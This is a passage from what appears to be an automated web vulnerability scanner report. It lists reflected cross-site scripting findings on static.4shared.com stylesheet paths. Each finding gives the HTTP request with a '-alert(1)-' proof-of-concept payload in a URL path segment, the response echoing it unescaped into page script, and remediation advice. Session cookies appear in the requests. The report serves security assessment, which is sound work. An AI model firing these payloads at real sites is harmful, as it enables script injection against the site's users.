The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae0da"-alert(1)-"dfc773bc8e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssae0da"-alert(1)-"dfc773bc8e7/indexm.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssae0da&quot;-alert(1)-&quot;dfc773bc8e7/indexm.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=8F0322F63B8CACFDC0DAC3DC1897D6ED.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:49 GMT
Content-Length: 36165


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssae0da"-alert(1)-"dfc773bc8e7/indexm.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.222. http://static.4shared.com/css/indexm.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexm.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload adf03"-alert(1)-"db77fbbc575 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/indexm.cssadf03"-alert(1)-"db77fbbc575?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/indexm.cssadf03&quot;-alert(1)-&quot;db77fbbc575
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=39624D051F6790D250B45932474C8DCE.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:52 GMT
Content-Length: 36165


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/indexm.cssadf03"-alert(1)-"db77fbbc575";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.223. http://static.4shared.com/css/indexn.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c9ed"-alert(1)-"c9db170bdcd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css8c9ed"-alert(1)-"c9db170bdcd/indexn.css?ver=1610 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css8c9ed&quot;-alert(1)-&quot;c9db170bdcd/indexn.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E53A1B83159954CF79DC975D021B4F60.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:37:07 GMT
Content-Length: 36184


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css8c9ed"-alert(1)-"c9db170bdcd/indexn.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.224. http://static.4shared.com/css/indexn.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c78e"-alert(1)-"58cbf041f37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/indexn.css9c78e"-alert(1)-"58cbf041f37?ver=1610 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css/indexn.css9c78e&quot;-alert(1)-&quot;58cbf041f37
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=179999491542BAC1D4F65691626D2CEE.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:37:10 GMT
Content-Length: 36184


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/indexn.css9c78e"-alert(1)-"58cbf041f37";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.225. http://static.4shared.com/css/main.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/main.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c985c"-alert(1)-"b752c3bde16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssc985c"-alert(1)-"b752c3bde16/main.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssc985c&quot;-alert(1)-&quot;b752c3bde16/main.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=62828B98EDCEF6917906D0ED8AD17B11.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:49 GMT
Content-Length: 36155


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssc985c"-alert(1)-"b752c3bde16/main.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.226. http://static.4shared.com/css/main.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/main.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf57b"-alert(1)-"ff7366fe274 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/main.csscf57b"-alert(1)-"ff7366fe274?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/main.csscf57b&quot;-alert(1)-&quot;ff7366fe274
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3FD90ABD1F134D0ADB55B51E7E5F639F.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:39:53 GMT
Content-Length: 36155


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/main.csscf57b"-alert(1)-"ff7366fe274";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.227. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/mainWithoutCommon.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a73d5"-alert(1)-"09846515e43 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssa73d5"-alert(1)-"09846515e43/mainWithoutCommon.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssa73d5&quot;-alert(1)-&quot;09846515e43/mainWithoutCommon.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F38DB9F45A136E8B221A34E2337C577E.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:21 GMT
Content-Length: 36209


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssa73d5"-alert(1)-"09846515e43/mainWithoutCommon.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedb
...[SNIP]...

1.228. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/mainWithoutCommon.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33792"-alert(1)-"feb36199e90 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/mainWithoutCommon.css33792"-alert(1)-"feb36199e90 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/mainWithoutCommon.css33792&quot;-alert(1)-&quot;feb36199e90
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=97181302BAA485314ABDA1BF00198219.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:28 GMT
Content-Length: 36220


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/mainWithoutCommon.css33792"-alert(1)-"feb36199e90";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.229. http://static.4shared.com/css/openid.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/openid.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 37d0c"-alert(1)-"a384906c899 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css37d0c"-alert(1)-"a384906c899/openid.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css37d0c&quot;-alert(1)-&quot;a384906c899/openid.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7860F21A48FF0DD57CAE4EFCFF42B9F4.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:16 GMT
Content-Length: 36165


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css37d0c"-alert(1)-"a384906c899/openid.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.230. http://static.4shared.com/css/openid.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/openid.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 872dc"-alert(1)-"012793f9b37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/openid.css872dc"-alert(1)-"012793f9b37?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/openid.css872dc&quot;-alert(1)-&quot;012793f9b37
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=626301118D083DFBF62DC91BC8AAF9A1.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:20 GMT
Content-Length: 36154


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/openid.css872dc"-alert(1)-"012793f9b37";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.231. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/download.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5430c"-alert(1)-"af2ee37e7b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css5430c"-alert(1)-"af2ee37e7b0/pageDownload1/download.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css5430c&quot;-alert(1)-&quot;af2ee37e7b0/pageDownload1/download.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B6094042F2C403249AB360C71A1BE8A9.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:17 GMT
Content-Length: 36245


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css5430c"-alert(1)-"af2ee37e7b0/pageDownload1/download.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function
...[SNIP]...

1.232. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/download.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a0a9"-alert(1)-"beb8e3c777b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/pageDownload16a0a9"-alert(1)-"beb8e3c777b/download.css?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/pageDownload16a0a9&quot;-alert(1)-&quot;beb8e3c777b/download.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=85F1E680A4F8851A5E53D7C01D5CF5D8.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:20 GMT
Content-Length: 36234


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload16a0a9"-alert(1)-"beb8e3c777b/download.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.233. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/download.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb5cd"-alert(1)-"8d2149dd564 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/pageDownload1/download.csscb5cd"-alert(1)-"8d2149dd564?ver=1610 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /css/pageDownload1/download.csscb5cd&quot;-alert(1)-&quot;8d2149dd564
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F366F4B86F7A2AFCA5A418971330D4EE.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:40:24 GMT
Content-Length: 36245


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1/download.csscb5cd"-alert(1)-"8d2149dd564";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.234. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/downloadWithoutCommon.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3c69"-alert(1)-"2cf4627ec1a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssf3c69"-alert(1)-"2cf4627ec1a/pageDownload1/downloadWithoutCommon.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /cssf3c69&quot;-alert(1)-&quot;2cf4627ec1a/pageDownload1/downloadWithoutCommon.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=EEFF1912BC6968ADA5A19D19FCFCF489.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:18 GMT
Content-Length: 36310


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssf3c69"-alert(1)-"2cf4627ec1a/pageDownload1/downloadWithoutCommon.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.235. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/pageDownload1/downloadWithoutCommon.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fec9c"-alert(1)-"5240765fe67 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/pageDownload1fec9c"-alert(1)-"5240765fe67/downloadWithoutCommon.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
